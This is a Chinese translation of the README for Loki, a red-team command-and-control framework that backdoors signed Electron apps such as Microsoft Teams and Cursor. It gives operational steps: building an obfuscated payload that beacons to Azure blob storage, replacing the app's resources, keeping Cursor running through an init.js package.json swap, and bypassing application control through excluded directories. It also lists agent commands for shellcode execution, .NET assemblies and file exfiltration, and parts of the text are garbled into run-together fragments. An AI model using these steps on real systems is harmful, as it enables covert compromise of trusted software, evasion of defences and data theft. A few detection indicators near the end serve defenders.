Loki 是一个用 Node.js 编写的阶段一命令与控制(C2)框架,旨在对易受攻击的 Electron 应用实施脚本劫持(script-jacking)MITRE ATT&CK T1218.015。Loki 专为红队行动而开发,通过利用受信任的、已签名的 Electron 应用,实现规避安全软件并绕过应用程序控制。
脚本劫持通过使用任意 Node.js 代码修改 Electron 应用在运行时加载的 JavaScript 文件,从而劫持其执行流程。该技术可用于:
虽然已有多种工具涉及利用脚本劫持将执行链式传递给另一个进程,但 Loki 是首个能够对已签名 Electron 应用进行后门植入和掏空操作,且不会使它们的代码签名签名失效的工具。
有关 Loki 工作原理的更多细节,请查看这篇博客文章:

| 姓名 | 贡献 |
|---|---|
| Bobby Cooke | 创建者与维护者 |
| Dylan Tran | 创建者 |
| Ellis Springe | Alpha 测试者 |
| Shawn Jones | 汇编执行代码 |
| Trusted Sec | COFFLoader 代码 |
| Simon Exley | 视频创作者 |
| Clinton Elves | 视频创作者 |
| John Hammond | 视频创作者 |
看看 John Hammond 制作的这段关于使用 Loki C2 对 Cursor AI 进行后门植入的视频吧!🎩
看看 Simon Exley & Clinton Elves 制作的这段关于快速上手 Loki C2 的视频吧!🧙♂️
所有 agent 命令均使用原生 Node.JS 编写,不需要额外的依赖或库加载操作。唯一例外的是 scexec 和 assembly 命令,它们会对 keytar.node 和 assembly.node 执行库加载。
/ 的路径,路径中的 \ 将无法正常工作。Set - 从应用程序控制排除路径加载节点set 命令更改 assembly.node 和 scexec.node 的加载路径。ls、cat、cp 和 mv,你或许能够枚举应用程序控制规则,从而发现一个属于排除项的可写目录。set 命令将其加载路径更改为排除目录,从而绕过应用程序控制。[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
首先,你需要找到一个不进行 ASAR 安全完整性检查的易受攻击的 Electron 应用,例如 Microsoft Teams。较新的应用可能带有完整性检查,从而阻止后门植入。目标应用的旧版本更可能存在漏洞。
对 Electron 应用进行后门植入时,你无需编译 agent。只需用 Loki agent 文件替换 {ELECTRONAPP}/resources/app/ 中的内容即可。
cd 进入其中javascript-obfuscator 模块npm install --save-dev javascript-obfuscator
create_agent_payload.js 脚本,使用你的存储帐户信息创建 Loki payloadbobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ 文件夹复制到 {ELECTRONAPP}/resources/app/启动 Loki GUI 客户端
从菜单栏点击 Loki Client > Configuration 打开设置窗口
输入你的存储帐户详细信息,然后点击 Save

agent 现在应该会显示在仪表板中
在仪表板表格中点击 agent 以打开 agent 窗口
进行测试以确保 Loki 正常工作
使用 Loki 最直接的方式是用 Loki 文件替换 {ELECTRONAPP}/resources/app/ 中的文件。这会掏空应用,也就是说应用将无法正常运行 -- Loki 取代了它的功能。
如果你真的想让 Electron 应用保持运行,同时让它在后台部署 Loki,那么一切希望并未破灭!John Hammond 和我想出了一种让真实 Electron 应用保持运行的方法。我们已将你需要的文件添加到本仓库的 /loki/backdoor/init.js 中。
目前它的配置针对 Cursor 有效,该应用由 John Hammond 发现存在漏洞。
为此,你需要:
package.json 除外)粘贴到 cursor/resources/app/
package.json/loki/backdoor/init.js 复制到 cursor/resources/app/cursor/resources/app/package.json 的内容修改为:
"main":"init.js","type":"module","private":true,Cursor.exe 在点击/执行时会加载 init.jsinit.js 读取 package.jsoninit.js 将 "main":"init.js", 改为 "main":"main.js",
main.js 即 Lokiinit.js 生成并脱离一个新的指向 Loki 的 Cursor.exeinit.js 再次读取 package.jsoninit.js 将 "main":"main.js", 改为
这样,应用将保持持续后门植入状态并正常运行。如果 Cursor 应用被退出,Loki 仍会在后台继续运行。
未来我会编写一个脚本来自动化这一过程。
以下是构建 agent 和客户端的编译说明。这些说明涵盖多个平台,包括 Windows、Linux 和 macOS。建议在目标平台和架构上编译客户端。
如果你正在对 Electron 应用进行后门植入,则无需编译 agent。
我不建议编译 agent 并将其用于实战操作。Agent 编译说明仅供开发使用。
~/Downloads/Teams/Teams.exe)执行 Electron 应用*.blob.core.windows.net 进行 beacon 回连netstat.exe 或 whoami.exe~/AppData/Roaming/{NAME} 下创建一个与 Loki package.json 中名称同名的目录。%LOCALAPPDATA%\Microsoft\Teams\current\app 目录%LOCALAPPDATA%\Microsoft\Teams\current\app.asar 文件被非 Teams 安装程序/更新程序创建或修改本项目采用 Business Source License 1.1 许可。根据许可条款,允许非商业用途。商业用途需要获得作者的明确许可。2030 年 4 月 3 日,本许可将转换为 Apache 2.0。完整详情请参阅 LICENSE。
| 命令 | 说明 |
|---|
help | 显示帮助。用法:help 或 help scan |
pwd | 打印当前工作目录 |
ls | 列出文件和目录 |
cat | 显示文件内容 |
env | 显示进程环境变量 |
spawn | 生成一个子进程 |
drives | 列出驱动器 |
mv | 将文件移动到新位置 |
sleep | 休眠指定秒数并带有抖动(jitter) |
cp | 将源文件复制到目标位置 |
exit-all | 退出 agent,agent 之后不再回连 |
load | 将磁盘上的 node PE 文件加载到进程中 |
scexec | 执行 shellcode |
assembly | 执行 .NET assembly 并获取命令输出 |
upload | 将文件从本地操作员主机上传到远程 agent 主机 |
download | 将文件从远程 agent 主机下载到本地操作员主机 |
scan | 在 CIDR 范围内对选定端口执行 TCP 网络扫描 |
dns | DNS 查询。使用系统的 DNS 配置 |
set | 设置 assembly 节点和 scexec 节点的 Node 加载路径 |
bof | 执行 COFF 文件并返回输出 |
"main":"./out/main.js",./out/main.js" 是真实的 Cursor 应用init.js 生成并脱离一个新的指向真实 Cursor 的 Cursor.exeinit.js 捕获退出事件init.js 第三次读取 package.jsoninit.js 将 "main":"./out/main.js", 改为 "main":"init.js",